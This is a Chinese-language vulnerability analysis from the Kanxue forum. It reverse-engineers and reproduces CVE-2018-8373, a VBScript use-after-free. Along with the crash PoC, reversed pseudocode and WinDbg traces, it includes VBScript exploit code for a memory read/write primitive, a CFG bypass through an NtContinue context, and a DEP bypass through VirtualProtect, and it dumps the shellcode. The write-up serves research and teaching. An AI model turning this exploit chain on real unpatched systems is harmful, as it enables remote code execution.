查看原文
其他

CVE-2018-8373分析与复现

王cb 看雪学院 2019-05-26

导致crash的exp


Class MyClass
   Dim array()
   Private Sub Class_Initialize
          Redim array(2)
   End Sub
   Public Default Property Get P
          Redim Preserve array(1)        
   End Property
End Class
Set cls=New MyClass
cls.array(2)=cls



触发点分析




最后这行代码cls.array(2)=cls会调用NameTbl::InvokeEx。


逆向结果显示,NameTbl::InvokeEx接着会调用AccessArray和AssignVar,其中stackFor_ecx为导致栈分配接着写入的传递值=ecx也就是AssignVar的edx的寄存器。

struct IEntryPoint *__stdcall NameTbl::InvokeEx(NameTbl *this, int a2, unsigned int a3, int a4, struct tagDISPPARAMS *a5, struct tagVARIANT *a6, struct tagEXCEPINFO *a7, struct IServiceProvider *a8)
{
省略部分....
else if ( ((_DWORD)v18->lpVtbl & 0xBFFF) == 8204 )
           {
             hr = (struct IEntryPoint *)AccessArray(
                                           (VAR *)v18,
                                           &stackFor_ecx,
                                           (struct VAR **)(v30 - 1),
                                           (struct VAR *)(*v29 + 16),
                                           0,
                                           v42,
                                           v43);
             if ( (signed int)v13 >= 0 )
                 //stackFor_ecx也就是edx的寄存器
               hr = (struct IEntryPoint *)AssignVar(
                                             (int)stackFor_ecx,
                                             v45,
                                             (struct CSession *)&pvarg,
                                             v48,
                                             v42,
                                             (unsigned int)v43);
             VarList::~VarList((VarList *)&v54);
           }
....
}
HRESULT __userpurge AccessArray@<eax>(VAR *varFrom@<edx>, _DWORD *stack@<ecx>, struct VAR **checkVar, struct VAR *varRef, int arrRetRef, struct VAR *a6, struct tagSAFEARRAY **a7)
{
 struct VAR *varPtrType; // eax
 SAFEARRAY *arrRet; // esi
 struct VAR **v9; // eax
 VAR *varNext; // ebx
 int dataSizeOffset; // edi
 struct VAR *vatType; // eax
 int varDimCount; // eax
 int DimSize; // eax
 int dataSize; // edi
 HRESULT result; // eax
 int v17; // ecx
 int v18; // ecx
 struct VAR *v19; // [esp+0h] [ebp-34h]
 const unsigned __int16 *v20; // [esp+4h] [ebp-30h]
 int RetVal; // [esp+18h] [ebp-1Ch]
 _DWORD *stackFor_ecx; // [esp+28h] [ebp-Ch]
 SAFEARRAYBOUND *rgsaboundRef; // [esp+2Ch] [ebp-8h]

 stackFor_ecx = stack;
 varPtrType = VAR::PvarCutAll(varFrom);
 // 如果是Array类型
 if ( *(_WORD *)varPtrType == 8204 )
 {
   arrRet = (SAFEARRAY *)*((_DWORD *)varPtrType + 2);
 }
 else
 {
   if ( *(_WORD *)varPtrType != 24588 )
     return -2147352571;
   arrRet = (SAFEARRAY *)**((_DWORD **)varPtrType + 2);
 }
 if ( !arrRet )
   return -2147352565;
 v9 = (struct VAR **)arrRet->cDims;
 if ( !(_WORD)v9 || v9 != checkVar )
   return -2147352565;
 result = SafeArrayLock(arrRet);
 if ( result >= 0 )
 {
   varNext = varRef;
   // 获取第一个维度
   rgsaboundRef = arrRet->rgsabound;
   dataSizeOffset = 0;
   while ( 1 )
   {
     vatType = VAR::PvarCutAll(varNext);
     if ( *(_WORD *)vatType == 2 )
     {
       // 短整形
       varDimCount = *((signed __int16 *)vatType + 4);
     }
     else if ( *(_WORD *)vatType == 3 )
     {
       // 长整形
       varDimCount = *((_DWORD *)vatType + 2);
     }
     else
     {
       if ( rtVariantChangeTypeEx(
              (struct tagVARIANT *)0x400,
              (struct tagVARIANT *)2,
              3u,
              (unsigned __int16)v19,
              (unsigned __int16)v20) < 0 )
       {
         SafeArrayUnlock(arrRet);
         return CScriptRuntime::RecordHr(v18, v19, v20);
       }
       varDimCount = RetVal;
     }
     DimSize = varDimCount - rgsaboundRef->lLbound;
     // 如果维度大小长度大于维度的元素个数
     if ( DimSize < 0 || DimSize >= (signed int)rgsaboundRef->cElements )
     {
       SafeArrayUnlock(arrRet);
       return CScriptRuntime::RecordHr(v17, v19, v20);
     }
     // 当前维度元素大小
     dataSize = DimSize + dataSizeOffset;
     checkVar = (struct VAR **)((char *)checkVar - 1);
     if ( (signed int)checkVar <= 0 )
       break;
     ++rgsaboundRef;
     dataSizeOffset = rgsaboundRef->cElements * dataSize;
     varNext = (VAR *)((char *)varNext + 16);
   }
   result = SafeArrayUnlock(arrRet);
   if ( result >= 0 )
   {
     // 这里datasize正好是0x10,stack是pvData区域的最后0x10空间
     *stackFor_ecx = (char *)arrRet->pvData + dataSize * arrRet->cbElements;
     if ( arrRetRef )
       *(_DWORD *)arrRetRef = arrRet;
     result = 0;
   }
 }
 return result;
}


关于UAF写入位置我的理解是array()默认的长度是1,也就是是占用0x10位置空间,通过NameTbl::InvokeEx->AccessArray->AssignVar。


因为默认长度是1,所以AccessArray的stackFor_ecx分配0x10后面的空间都是???,实际上仅仅是分配了0x10,后面没有更多的空间后续分配。


在SafeArrayRedim又将array的pvData长度变为array(2)的大小,也就是3个元素*0x10=0x30,从地址空间的布局可以看出这个0x30空间最后0x10空间正好是0ceaeff0,也就是array()默认的长度1个元素所占用的空间。


由于RedimPreserveArray把这个空间给释放了,导致实际上释放后可重用的空间还是最初AccessArray申请的array()默认的长度1个元素所占用的空间,最后cls.array(2)=cls调用AssignVar也是往这个地址空间写入数据,因为申请的栈的位置还是AccessArray,这里申请的stackFor_ecx->edi,导致崩溃,所以在8373后面的代码:

Set cls = New MyClass
   array(2)=cls

//之后导致执行
           For i = 0 To UBound(array2,2)
                   array2(0,i) = 3
                   Next


这个3值首先往申请的栈写入:

For i = 0 To UBound(array)
                   array(i) = array2
                   Next


这里只是array的pvData赋值成array2,仅仅是引用,array2的pvData在它直接pvData指针指向的地址,所以为实际写入array的pvData。

Public Default Property Get P            
       P=&h0fffffff
       End Property


MyClass的p属性需要往栈写入值,通过AssignVar,所以导致array()默认的0x10空间,在也就是RedimPreserveArray最后的0x10空间数据为3 和0fffffff。

0:017> bp vbscript!RedimPreservearray
0:017> bp vbscript!AccessArray
0:017> bp vbscript!AssignVar
0:017> vbscript!AccessArray+0x1a2  
0:007> g
Breakpoint 2 hit
eax=0bec0efc ebx=0beb6fe0 ecx=0beb4f88 edx=0bec0efc esi=685bcbd4 edi=057fbd84
eip=685b2f7a esp=057fbd78 ebp=057fbd94 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vbscript!AssignVar:
685b2f7a 8bff            mov     edi,edi
0:007> p
eax=0ceaeff0 ebx=00000002 ecx=057fb904 edx=00000002 esi=0c65afe8 edi=057fba48
eip=685c75c1 esp=057fb8b0 ebp=057fb8dc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
//对于之前逆向结果的代码*stackFor_ecx = (char *)arrRet->pvData + dataSize * arrRet->cbElements;
vbscript!AccessArray+0xa2:
685c75c1 8b4510          mov     eax,dword ptr [ebp+10h] ss:0023:057fb8ec=00000000
0:007> dc ecx
//默认分配的空间地址指针
057fb904  0ceaeff0 057fb92c 00000001 0beb0fe8  ....,...........
057fb914  00000000 00000000 80020006 0beb4f88  .............O..
057fb924  0beb2fe0 0070af60 00000000 c0c0004a  ./..`.p.....J...
057fb934  c0c0c0c0 0bf3efe8 c0c0c0c0 057fb95c  ............\...
057fb944  696d58e3 0c964f98 057fb970 c0c0600c  .Xmi.O..p....`
..
057fb954  c0c0c0c0 0bf46f90 0c65afe8 685d89ce  .....o....e...]h
057fb964  057fb9a4 685d9801 082d7fd0 00000003  ......]h..-.....
057fb974  00000409 00000004 057fb9f8 00000000  ................
//实际上仅仅是分配了0x10没有多余分配
0:007> dc  0ceaeff0
0ceaeff0  00000000 00000000 00000000 00000000  ................
0ceaf000  ???????? ???????? ???????? ????????  ????????????????
0ceaf010  ???????? ???????? ???????? ????????  ????????????????
0ceaf020  ???????? ???????? ???????? ????????  ????????????????
0ceaf030  ???????? ???????? ???????? ????????  ????????????????
0ceaf040  ???????? ???????? ???????? ????????  ????????????????
0ceaf050  ???????? ???????? ???????? ????????  ????????????????
0ceaf060  ???????? ???????? ???????? ????????  ????????????????
0:007> g
Breakpoint 0 hit
eax=0c65afe8 ebx=057fb4f8 ecx=0c65afe8 edx=00000001 esi=0bf46f84 edi=0bf16bf0
eip=685dd80c esp=057fb250 ebp=057fb48c iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200203
vbscript!RedimPreserveArray:
685dd80c 8bff            mov     edi,edi
0:007> dc 0c65afe8
//查看数组的长度是3
0c65afe8  08800001 00000010 00000000 0ceaefd0  ................
0c65aff8  00000003 00000000 ???????? ????????  ........????????
0c65b008  ???????? ???????? ???????? ????????  ????????????????
0c65b018  ???????? ???????? ???????? ????????  ????????????????
0c65b028  ???????? ???????? ???????? ????????  ????????????????
0c65b038  ???????? ???????? ???????? ????????  ????????????????
0c65b048  ???????? ???????? ???????? ????????  ????????????????
0c65b058  ???????? ???????? ???????? ????????  ????????????????
//pvData的空间被RedimPreserveArray撑大到0x30
0:007> dc  0ceaefd0
0ceaefd0  00000000 00000000 00000000 00000000  ................
0ceaefe0  00000000 00000000 00000000 00000000  ................
0ceaeff0  00000000 00000000 00000000 00000000  ................
0ceaf000  ???????? ???????? ???????? ????????  ????????????????
0ceaf010  ???????? ???????? ???????? ????????  ????????????????
0ceaf020  ???????? ???????? ???????? ????????  ????????????????
0ceaf030  ???????? ???????? ???????? ????????  ????????????????
0ceaf040  ???????? ???????? ???????? ????????  ????????????????
0:007> g
(f28.eb8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0ceaeff0 ecx=0ceaeff0 edx=0008001f esi=0ceaeff0 edi=057fb8d0
eip=685b217e esp=057fb898 ebp=057fb8a8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
vbscript!VAR::Clear+0xe:
//导致实际上释放后可重用的空间还是最初AccessArray申请的array()默认的长度1个元素所占用的空间=0ceaeff0
685b217e 0fb703          movzx   eax,word ptr [ebx]       ds:0023:0ceaeff0=????



漏洞修复补丁比较分析

 

vbscrpt.dll文件比较结果:



在打了补丁的机器上会出现这个错误:



主要原因是在调用vbscript!RedimPreservearray内部会先调用SafeArrayLock检查数组长度,然后抛出错误码2147418113,也就是【该数组为定长的或临时被锁定】。

if ( SafeArrayLock(arr) < 0 )
   goto LABEL_Error;

HRESULT __stdcall SafeArrayLock(SAFEARRAY *psa)
{
 ULONG v1; // eax

 if ( !psa )
   return -2147024809;
 v1 = psa->cLocks;
 //抛出错误2147418113
 if ( v1 >= 0xFFFF )
   return -2147418113;
 psa->cLocks = v1 + 1;
 return 0;
}



poc调试分析

 

和之前crash的调试方法一样下断点bp vbscript!RedimPreservearray "dc ecx"。


由于array的默认长度是1,所以同理uaf区域大小也为0x10,首次在RedimPreservearray断下。

0:007> bp vbscript!RedimPreservearray "dc ecx"
0:007> g
06f70450  08800001 00000010 00000000 03767ec8  .............~v.
06f70460  00000003 00000000 0155c69b 88000000  ..........U.....
06f70470  00000008 00000000 06f74020 038299c0  ........ @......
06f70480  06f856a0 0382a218 00000000 00000000  .V..............
06f70490  00000000 00000000 0155c685 88000036  ..........U.6...
06f704a0  6949f3a8 00008000 6949fb68 0041f300  ..Ii....h.Ii..A.
06f704b0  694ba9f0 00000000 00000000 00000000  ..Ki............
06f704c0  00000007 00000000 0155c68f 8000006c  ..........U.l...
eax=06f70450 ebx=02d2bb20 ecx=06f70450 edx=00000001 esi=00815f50 edi=0082895c
eip=67f9d80c esp=02d2b878 ebp=02d2bab4 iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200203
vbscript!RedimPreserveArray:
67f9d80c 8bff            mov     edi,edi
0:007> dc 03767ec8
//可以但是pvdata的内存区域都是空的
03767ec8  00000000 00000000 00000000 00000000  ................
03767ed8  00000000 00000000 00000000 00000000  ................
03767ee8  00000000 00000000 00000000 00000000  ................
03767ef8  011651f9 80000000 000000f0 00000000  .Q..............
03767f08  00000000 00000000 00000000 00000000  ................
03767f18  00000000 00000000 00000000 00000000  ................
03767f28  00000000 00000000 011651c0 8d000000  .........Q......
03767f38  44505041 3d415441 555c3a43 73726573  APPDATA=C:\Users


首部前有padding=0x10
struct tagSAFEARRAY   总大小0x30
{
 USHORT cDims;     +0x2
 USHORT fFeatures;   +0x2
 ULONG cbElements;   +0x4
 ULONG cLocks;      +0x8
 PVOID pvData;       +0xc
 SAFEARRAYBOUND rgsabound[1]; +0x20 大小+0x8*2=30
};


由于array(2)的空间大小为0x30和tagSAFEARRAY大小相同,导致rgsabound[1]位置内存被覆盖成3和0fffffff。


看到index_vul的值为0也就是第0个元素,也是uaf默认元素的位置,详细原理在crash分析,再次查看内存中数据:

0:019> dc 06f70450
06f70450  08800001 00000010 00000000 078f0020  ............ ...
06f70460  000186a1 00000000 0155c69b 88000000  ..........U.....
06f70470  00000008 00000000 06f74020 038299c0  ........ @......
06f70480  06f856a0 0382a218 00000000 00000000  .V..............
06f70490  00000000 00000000 0155c685 88000036  ..........U.6...
06f704a0  6949f3a8 00000001 6949fb68 0041f300  ..Ii....h.Ii..A.
06f704b0  694ba9f0 00000000 00000000 00000000  ..Ki............
06f704c0  00000008 00000000 0155c68f 8000006c  ..........U.l...
//再次查看array内存数据
0:019> dc 03767ec8
03767ec8  00000000 00000000 00000000 0000000c  ................
03767ed8  08800002 00000010 00000000 03810ad8  ................
//目标位置被写入3和0fffffff
03767ee8  00810003 00000000 0fffffff 00000000  ................
03767ef8  011651f9 88000000 00000000 00000000  .Q..............
03767f08  00000000 0000000c 08800002 00000010  ................
03767f18  00000000 03810b50 00000007 00000000  ....P...........
03767f28  00000001 00000000 011651c0 8d000000  .........Q......
03767f38  44505041 3d415441 555c3a43 73726573  APPDATA=C:\Users
0:019> dc 078f0020
078f0020  02d2200c 02d2bb20 03767ed8 00000002  . .. ....~v.....
078f0030  02d2200c 02d2bb20 03767f10 00000002  . .. .....v.....
078f0040  02d2200c 02d2bb20 03768108 00000002  . .. .....v.....
078f0050  02d2200c 02d2bb20 03859520 00000002  . .. ... .......
078f0060  02d2200c 02d2bb20 03859b08 00000002  . .. ...........
078f0070  02d2200c 02d2bb20 038597f8 00000002  . .. ...........
078f0080  02d2200c 02d2bb20 03859830 00000002  . .. ...0.......
078f0090  02d2200c 02d2bb20 038598a0 00000002  . .. ...........


由于uaf堆结构,和tagSAFEARRAY结果头部数据的存在导致错位8个字节。

0:019> dc  03810ad8 L100
03810ad8  00810002 00000000 00010003 00000000  ................
03810ae8  00810002 00000000 00010003 00000000  ................
03810af8  00810002 00000000 00010003 00000000  ................
03810b08  00810002 00000000 00010003 00000000  ................
03810b18  00810002 00000000 00010003 00000000  ................
03810b28  00810002 00000000 00010003 00000000  ................
03810b38  00810002 00000000 00010003 00000000  ................
//错位字节区域
02d59ba8  2d288816 88000000 00a80002 00000000  ..(-............
//077a919c就是写入“AAAA”
02d59bb8  00000008 00000000 077a919c 00000000  ..........z.....
03810b58  00010003 00000000 00810002 00000000  ................
03810b68  00010003 00000000 00810002 00000000  ................
03810b78  00010003 00000000 00810002 00000000  ................
03810b88  00010003 00000000 00810002 00000000  ................
03810b98  00010003 00000000 00810002 00000000  ................
03810ba8  00010003 00000000 00810002 00000000  ................
//查看077a919c
0:015> dc 077a919c
077a919c  00410041 00410041 00650000 00000000  A.A.A.A...e.....
077a91ac  00000000 00000000 00000001 2d8ba654  ............T..-
077a91bc  80000077 00000183 00000000 00000000  w...............
077a91cc  00000000 00000000 00000000 00000000  ................
077a91dc  0061006d 2d8ba65f 8000006d 0000011a  m.a._..-m.......
077a91ec  00000000 00000000 00000000 00000000  ................
077a91fc  00000000 00000000 00730000 2d8ba622  ..........s."..-
077a920c  8800006e 002d0078 00610075 0063002d  n...x.-.u.a.-.c.


在2和3间隔的区域 将array(index_vul)(index_a, 0)设置为“AAAA”,导致下一段array2 的 Data 域就变成了 8,因为string的VarType类型为8。


这样就得到了一组可以混肴的 array(index_vul)(index_a+n, 0)和array(index_b)(0, n),通过将array(index_vul)(index_a, 0)处的 variant 转化为长整型。


令array(index_vul)(index_a, 0)处的 variant 转化为数组,从而得到了一段泄露的内存util_mem,可以读写的内存指定区域的通用方法。

//写内存
Function SetMemValue(valkey)
   array(index_vul)(index_a+2,0)(util_mem)=3  
   array(index_vul)(index_a+2,0)(util_mem+8) = valkey    
End Function
//读内存  
Function GetMemValue
       array(index_vul)(index_a+2,0)(util_mem)=3  
       GetMemValue=array(index_vul)(index_a+2,0)(util_mem+8)        
End Function



分析下rw_primit前


03810ac8  00000000 00000000 0105a8b4 88000000  ................
03810ad8  00810002 00000000 00010003 00000000  ................
03810ae8  00810002 00000000 00010003 00000000  ................
03810af8  00810002 00000000 00010003 00000000  ................
03810b08  00810002 00000000 00010003 00000000  ................
03810b18  00810002 00000000 00010003 00000000  ................
03810b28  00810002 00000000 00010003 00000000  ................
03810b38  00810002 00000000 00010003 00000000  ................
03810b48  0105a887 88000000 00810002 00000000  ................
03810b58  00000008 00000000 037bed1c 00000000  ..........{.....
03810b68  00010003 00000000 00810002 00000000  ................
//rw_primit前此位置数据
03810b78  00010003 00000000 00810002 00000000  ................
03810b88  00010003 00000000 00810002 00000000  ................
03810b98  00010003 00000000 00810002 00000000  ................
03810ba8  00010003 00000000 00810002 00000000  ................
03810bb8  00010003 00000000 0105a896 88000000  ................
03810bc8  00810002 00000000 00010003 00000000  ................
03810bd8  00810002 00000000 00010003 00000000  ................
03810be8  00810002 00000000 00010003 00000000  ................
03810bf8  00810002 00000000 00010003 00000000  ................
03810c08  00810002 00000000 00010003 00000000  ................
03810c18  00810002 00000000 00010003 00000000  ................
03810c28  00810002 00000000 00010003 00000000  ................



分析下rw_primit后


0:015>  dc 03810ac8
03810ac8  00000000 00000000 0105a8b4 88000000  ................
03810ad8  00810002 00000000 00010003 00000000  ................
03810ae8  00810002 00000000 00010003 00000000  ................
03810af8  00810002 00000000 00010003 00000000  ................
03810b08  00810002 00000000 00010003 00000000  ................
03810b18  00810002 00000000 00010003 00000000  ................
03810b28  00810002 00000000 00010003 00000000  ................
03810b38  00810002 00000000 00010003 00000000  ................
03810b48  0105a887 88000000 00000005 00000000  ................
03810b58  00000003 00000003 06f6e9fc 00012a54  ............T*..
03810b68  00010003 00000000 00000005 00000000  ................
//指定位置已被覆盖成CDbl("1.74088534731324E-310")也就是 0000200c
03810b78  0000200c 0000200c 03796a7c 00012a54  . ... ..|jy.T*..
03810b88  00010003 00000000 00810002 00000000  ................
03810b98  00010003 00000000 00810002 00000000  ................
03810ba8  00010003 00000000 00810002 00000000  ................
03810bb8  00010003 00000000 0105a896 88000000  ................
03810bc8  00810002 00000000 00010003 00000000  ................
03810bd8  00810002 00000000 00010003 00000000  ................
03810be8  00810002 00000000 00010003 00000000  ................
03810bf8  00810002 00000000 00010003 00000000  ................
03810c08  00810002 00000000 00010003 00000000  ................
03810c18  00810002 00000000 00010003 00000000  ................
03810c28  00810002 00000000 00010003 00000000  ................


看到这个地址的值和fake_array的数据相同。

0:015> dc 03796a7c
03796a7c  08800001 00000001 00000000 00000000  ................
03796a8c  7fffffff 00000000 00000000 0117b2b5  ................
03796a9c  88000000 00000002 00000030 0075006f  ........0...o.u.
03796aac  003a0074 00610074 00730062 00000000  t.:.t.a.b.s.....
03796abc  00000000 0117b2be 88000000 06f713c8  ................
03796acc  00000000 00000000 00000000 00000000  ................
03796adc  00000000 00000000 00000000 0117b2bb  ................
03796aec  88000000 00020001 757d0002 000004b0  ..........}u....



shellcode调试分析

 

我把shellcode改了一下把原来运行cmd的shellcode改成8174的弹出计算器模式,欢迎有兴趣的读者一起研究,exp在附件里,在运行shellcode之前看到提示的地址是:


下断点bp vbscript!VAR::Clear "dc esi"在若干次触发后正确断下:

0:005> bp vbscript!VAR::Clear "dc esi"
0:007> g
//正确断下时varTypeNext类型为0x4d也就是77
06f6ea04  06f6004d 02d2bd80 07002f74 0001298c  M.......t/...)..
06f6ea14  000076d8 0155fbf5 80000064 0000014c  .v....U.d...L...
06f6ea24  00000000 06f6ea2c 00000000 00000000  ....,...........
06f6ea34  00000000 00000000 00000000 0155fbfe  ..............U.
06f6ea44  88000065 00000000 037a013c 06f6eaa0  e.......<.z.....
06f6ea54  06f6e410 00000000 00000000 00000000  ................
06f6ea64  00000000 0155fbfb 8c000000 65874e2d  ......U.....-N.e
06f6ea74  7b800028 00294f53 002d0020 7f8e0020  (..{SO). .-. ...
eax=00000000 ebx=0080ac50 ecx=06f6ea04 edx=00000009 esi=06f6ea04 edi=007b5ec8
eip=67f72170 esp=02d2bb24 ebp=02d2bb58 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
vbscript!VAR::Clear:
67f72170 8bff            mov     edi,edi


逆向结果显示当varTypeNext为77时:

// 类型判断可以用VarType函数获得会调用var_ecx + 8也就是下面看到的ntdll!ZwContinue结构体,可以计算出EIP和ESP在CONTEXT中的偏移,如图
HRESULT __thiscall VAR::Clear(VARIANTARG *pvarg)
{
...
if ( varTypeNext == 77 )
   {
     var_ecx = var_esi->lVal;
     if ( !var_ecx )
       goto LABEL_5;
     //执行ntdll!ZwContinue结构体
     (*(void (__thiscall **)(_DWORD, LONG))(*(_DWORD *)var_ecx + 8))(
       *(_DWORD *)(*(_DWORD *)var_ecx + 8),
       var_esi->lVal);
     v7 = &v12 == &v12;
LABEL_12:
     if ( !v7 )
       __fastfail(4u);
     goto LABEL_5;
   }
...
}


EIP和ESP是在CONTEXT精心布局好的:


Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
   Dim FakeVALUE
   FakeVALUE=String((100334-65536),Unescape("%u4141"))
   FakeVALUE=FakeVALUE &EscapeAddress(ShellcodeAddrParam)
   FakeVALUE=FakeVALUE &EscapeAddress(ShellcodeAddrParam)
   FakeVALUE=FakeVALUE &EscapeAddress(&h3000)
   FakeVALUE=FakeVALUE &EscapeAddress(&h40)
   FakeVALUE=FakeVALUE &EscapeAddress(ShellcodeAddrParam-8)
   FakeVALUE=FakeVALUE &String(6,Unescape("%u4242"))
   FakeVALUE=FakeVALUE &lIllIl()
   FakeVALUE=FakeVALUE &String((&h80000-LenB(FakeVALUE))/2,Unescape("%u4141"))
   WrapShellcodeWithNtContinueContext=FakeVALUE
End Function
由此方法精心布局
查看[esi+8]也就是var_ecx
0:007> dc 07002f74
07002f74  02851023 00410041 00410041 00410041  #...A.A.A.A.A.A.
07002f84  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
07002f94  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
07002fa4  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
07002fb4  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
07002fc4  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
07002fd4  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
07002fe4  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0:007> dc 02851023
02851023  772955a8 772955a8 772955a8 772955a8  .U)w.U)w.U)w.U)w
02851033  41414100 41414141 41414141 41414141  .AAAAAAAAAAAAAAA
02851043  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02851053  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02851063  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02851073  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02851083  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02851093  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
//这里指向的是ntdll!ZwContinue结构体
0:007> ln 772955a8
(772955a8)   ntdll!ZwContinue   |  (772955b8)   ntdll!NtCreateDebugObject
Exact matches:
   ntdll!NtContinue = <no type information>
   ntdll!ZwContinue = <no type information>


查看结构体指定偏移量的数据,也就是EIP和ESP。

Function ExpandWithVirtualProtect(VirtualProtectArg)
   Dim FakeVALUE
   Dim ArrTEMPGLOBALlI
   ArrTEMPGLOBALlI=VirtualProtectArg+&h23
   FakeVALUE=""
   FakeVALUE=FakeVALUE &EscapeAddress(ArrTEMPGLOBALlI)
   FakeVALUE=FakeVALUE &String((&hb8-LenB(FakeVALUE))/2,Unescape("%4141"))
   FakeVALUE=FakeVALUE &EscapeAddress(VirtualProtectAddr)
   FakeVALUE=FakeVALUE &EscapeAddress(&h1b)
   FakeVALUE=FakeVALUE &EscapeAddress(0)
   FakeVALUE=FakeVALUE &EscapeAddress(VirtualProtectArg)
   FakeVALUE=FakeVALUE &EscapeAddress(&h23)
   FakeVALUE=FakeVALUE &String((&400-LenB(FakeVALUE))/2,Unescape("%u4343"))
   ExpandWithVirtualProtect=FakeVALUE
End Function
由此方法精心布局
0:007> dc 07002f74+2e*4
//第一个是7537f366=VirtualProtect,第二个02851000=shellcode指针
0700302c  7537f366 0000001b 00000000 02851000  f.7u............
0700303c  00000023 43434343 43434343 43434343  #...CCCCCCCCCCCC
0700304c  43434343 43434343 43434343 43434343  CCCCCCCCCCCCCCCC
0700305c  43434343 43434343 43434343 43434343  CCCCCCCCCCCCCCCC
0700306c  43434343 43434343 00320000 00320065  CCCCCCCC..2.e.2.
0700307c  00750025 00370035 00320035 00750025  %.u.5.7.5.2.%.u.
0700308c  00320035 00620038 00750025 00620038  5.2.8.b.%.u.8.b.
0700309c  00300031 00750025 00630033 00610034  1.0.%.u.3.c.4.a.
0:007> dc 7537f366
7537f366  8b55ff8b 1475ffec ff1075ff 75ff0c75  ..U...u..u..u..u
7537f376  e8ff6a08 00000009 0010c25d 90909090  .j......].......
7537f386  55ff8b90 8b56ec8b 3711c035 75ff5775  ...U..V.5..7uW.u
7537f396  10458d18 501475ff 500c458d ff0875ff  ..E..u.P.E.P.u..
7537f3a6  85f88bd6 1f8c0fff 330001b0 5e5f40c0  ...........3.@_^
7537f3b6  0014c25d 840f04a8 00014d7f b60f2024  ]........M..$ ..
7537f3c6  1bd8f7c0 1ee083c0 58e94040 90ffff9b  ........@@.X....
7537f3d6  90909090 8b55ff8b 0c75ffec ff0875ff  ......U...u..u..
//这里指向的是KERNELBASE!VirtualProtect的apifunction地址
0:007> ln 7537f366
(7537f366)   KERNELBASE!VirtualProtect   |  (7537f387)   KERNELBASE!VirtualProtectEx
Exact matches:
   KERNELBASE!VirtualProtect = <no type information>
0:007> dc 02851000
02851000  02a2002c 02a2002c 00003000 00000040  ,...,....0..@...
02851010  02a20024 42424242 42424242 42424242  $...BBBBBBBBBBBB
02851020  a8000000 a8772955 a8772955 a8772955  ....U)w.U)w.U)w.
02851030  00772955 41414141 41414141 41414141  U)w.AAAAAAAAAAAA
02851040  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02851050  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02851060  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02851070  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
//看到和图片中shellcode地址一样
0:007> dc 02a2002c
02a2002c  0082e8fc 89600000 64c031e5 8b30508b  ......`..1.d.P0.
02a2003c  528b0c52 28728b14 264ab70f 3cacff31  R..R..r(..J&1..<
02a2004c  2c027c61 0dcfc120 f2e2c701 528b5752  a|., .......RW.R
02a2005c  3c4a8b10 78114c8b d10148e3 20598b51  ..J<.L.x.H..Q.Y
02a2006c  498bd301 493ae318 018b348b acff31d6  ...I..:I.4...1..
02a2007c  010dcfc1 75e038c7 f87d03f6 75247d3b  .....8.u..}.;}$u
02a2008c  588b58e4 66d30124 8b4b0c8b d3011c58  .X.X$..f..K.X...
02a2009c  018b048b 244489d0 615b5b24 ff515a59  ......D$$[[aYZQ.


shellcode运行结果


Sub ExecuteShellcode
//就是之前看到的if ( varTypeNext == 77 )
   ArrTEMPGLOBAL.mem(MyVALUE)=&h4d 'DEP bypass
   ArrTEMPGLOBAL.mem(MyVALUE+8)=0
   msgbox(MyVALUE)        '
VT replaced
End Sub







- End -


看雪ID:王cb              

https://bbs.pediy.com/user-609565.htm





本文由看雪论坛 王cb 原创

转载请注明来自看雪社区






热门技术文章推荐:






戳原文,看看大家都是怎么说的?

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存